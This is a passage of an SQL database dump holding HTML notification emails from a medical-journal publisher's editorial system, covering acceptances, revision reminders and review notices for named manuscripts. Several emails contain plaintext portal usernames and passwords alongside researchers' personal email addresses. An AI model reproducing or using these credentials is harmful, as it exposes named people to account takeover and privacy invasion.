/>\r\n            All reviews for manuscript <b>ipadm-21-9235</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> francisco_jos&eacute;<br />\r\n            <b>Password:</b> Ljrcav33<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','dr.tavaressanchez@gmail.com',9235,'2021-07-09',274),(3409,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9235</b><br />\r\n            <br />\r\n            Article Title: <b>RUPTURA DE MULTIPLES ANEURISMAS CEREBRALES ASOCIADO A SINDROME DE SJ&Ouml;GREN SECUNDARIO. REPORTE DE UN CASO</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Saenz Lopez</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-21-9235</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>jose_david</b><br />\r\n            Password : <b>jZav5vGy</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','josedsaenzlopez@hotmail.com',9235,'2021-07-09',274),(3410,'<p>Ref.:  Ms. No. : <b>ipadm-21-8837</b><br />\r\n<br />\r\nARTICLE TITLE: <b>S&Atilde;NDROME CORONARIO AGUDO SECUNDARIO A ENFERMEDAD DEL TRONCO CORONARIO IZQUIERDO</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Gomez Asis</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-8837</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>jose_isidro</b><br />\r\npassword: <b>uJYEbmQn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','juancho251997@hotmail.com',8837,'2021-07-09',274),(3414,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9013</b><br />\r\n            <br />\r\n            Article Title: <b>Potential health effects due to exposure of criteria air pollutants</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Upadhyay</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','era.upadhyay@gmail.com',9013,'2021-07-12',48),(3415,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-9286</b><br />\r\n            <br />\r\n            Article Title: <b>The impact of COVID-19 pandemic on alloplastic breast reconstruction surgery; a monocenter study</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Stamati</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>IPJUS-21-9286</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.jusurgery.com/\">https://www.jusurgery.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>pinelopi</b><br />\r\n            Password : <b>zHkdfsWO</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','penelope.stamati@gmail.com',9286,'2021-07-12',319),(3421,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8766</b><br />\r\n            <br />\r\n            Article Title: <b>Assessment of total serum IgE level and associated factors among asthmatic patients at university of Gondar hospital, Gondar, North West Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>assefa</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ayenassef@gmail.com',8766,'2021-07-12',48),(3426,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8513</b><br />\r\n            <br />\r\n            Article Title: <b>Cardiorespiratory Events In Children During Chemoembolization of Ophthalmic Artery for Retinoblastoma.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mar&iacute;a Cristina</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Richard </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8513</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> m._fleming<br />\r\n            <b>Password:</b> F3hTrCHA<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','drrichardmfleming@gmail.com',8513,'2021-07-13',85),(3429,'<p>Ref.:  Ms. No. : <b>ipaom-21-8594</b><br />\r\n<br />\r\nARTICLE TITLE: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Rolim Neto</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-8594</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>modesto_leite</b><br />\r\npassword: <b>aVNPWHQq</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','modesto.neto@ufca.edu.br',8594,'2021-07-13',85),(3431,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8873</b><br />\r\n            <br />\r\n            Article Title: <b>NEUROLOGICAL CHARACTERISTICS DUE TO COVID - 19: KNOWLEDGE OF THE POSSIBLE PATHWAYS THAT LEAD TO INFECTION AND ITS REPERCUSSIONS ON THE NERVOUS SYSTEM</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolim Neto</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','modesto.neto@ufca.edu.br',8873,'2021-07-14',85),(3432,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8729</b><br />\r\n            <br />\r\n            Article Title: <b>Incidence of Skeletal Muscle Injury with SARS-CoV-2 Infection in Tertiary Care Hospitals in Qatar.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            <strong>Dear Dr.</strong> <b>Liaquat Ali</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n<p>&nbsp;</p>',1,'Author Notification: Accept','lali5@hamad.qa',8729,'2021-07-14',75),(3433,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8150</b><br />\r\n            <br />\r\n            Article Title: <b>ELASTOPLASTY: A NEW TECHNIQUE FOR TREATMENT OF OSTEOPOROTIC VERTEBRAL COMPRESSION FRACTURES</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            <strong>Dear Dr. </strong><b>Francisco Villarejo Ortega</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fvillarejo@neuropsico.es',8150,'2021-07-14',75),(3437,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8513</b><br />\r\n            <br />\r\n            Article Title: <b>Cardiorespiratory Events In Children During Chemoembolization of Ophthalmic Artery for Retinoblastoma.</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cristina</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipaom-21-8513</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivesofmedicine.com/\">https://www.archivesofmedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>mar&iacute;a</b><br />\r\n            Password : <b>7Rrhpn5P</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','cristina.martinezavila@gmail.com',8513,'2021-07-14',85),(3443,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9112</b><br />\r\n            <br />\r\n            Article Title: <b>Emergency Drugs Commonly Used in healthcare organizations: &ldquo;Extremely Required in Lifesaving&rdquo;</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Wake</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','addansa12@gmail.com',9112,'2021-07-15',48),(3446,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8707</b><br />\r\n            <br />\r\n            Article Title: <b> TOXICIDAD RENAL POR TENOFOVIR: A PROP&Atilde;&ldquo;SITO DE UN CASO. </b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Menendez</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipadm-21-8707</b> for the <b>Archivos de Medicina</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','menendezmanuel@gmail.com',8707,'2021-07-15',274),(3447,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9276</b><br />\r\n            <br />\r\n            Article Title: <b>Impact of COVID-19 on Pharmaceutical Industry: Status of Clinical Trials and Mitigation Strategies</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Aseel Bin Sawad</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Tavares S&aacute;nchez</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipadm-21-9276</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> francisco_jos&eacute;<br />\r\n            <b>Password:</b> Ljrcav33<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','dr.tavaressanchez@gmail.com',9276,'2021-07-15',274),(3448,'<p>Ref.:  Ms. No. : <b>ipadm-21-8837</b><br />\r\n<br />\r\nARTICLE TITLE: <b>S&Atilde;NDROME CORONARIO AGUDO SECUNDARIO A ENFERMEDAD DEL TRONCO CORONARIO IZQUIERDO</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Gomez Asis</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-8837</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>jose_isidro</b><br />\r\npassword: <b>uJYEbmQn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','juancho251997@hotmail.com',8837,'2021-07-15',274),(3449,'<p>Ref.:  Ms. No. : <b>ipadm-21-9235</b><br />\r\n<br />\r\nARTICLE TITLE: <b>RUPTURA DE MULTIPLES ANEURISMAS CEREBRALES ASOCIADO A SINDROME DE SJ&Ouml;GREN SECUNDARIO. REPORTE DE UN CASO</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Saenz Lopez</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-9235</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>jose_david</b><br />\r\npassword: <b>jZav5vGy</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','josedsaenzlopez@hotmail.com',9235,'2021-07-15',274),(3450,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8707</b><br />\r\n            <br />\r\n            Article Title: <b> TOXICIDAD RENAL POR TENOFOVIR: A PROP&Atilde;&ldquo;SITO DE UN CASO. </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Montoya</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jermu1708@hotmail.com',8707,'2021-07-15',274),(3452,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8513</b><br />\r\n            <br />\r\n            Article Title: <b>Cardiorespiratory Events In Children During Chemoembolization of Ophthalmic Artery for Retinoblastoma.</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Richard </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-21-8513</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','drrichardmfleming@gmail.com',8513,'2021-07-16',85),(3454,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8513</b><br />\r\n            <br />\r\n            Article Title: <b>Cardiorespiratory Events In Children During Chemoembolization of Ophthalmic Artery for Retinoblastoma.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Cristina</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for 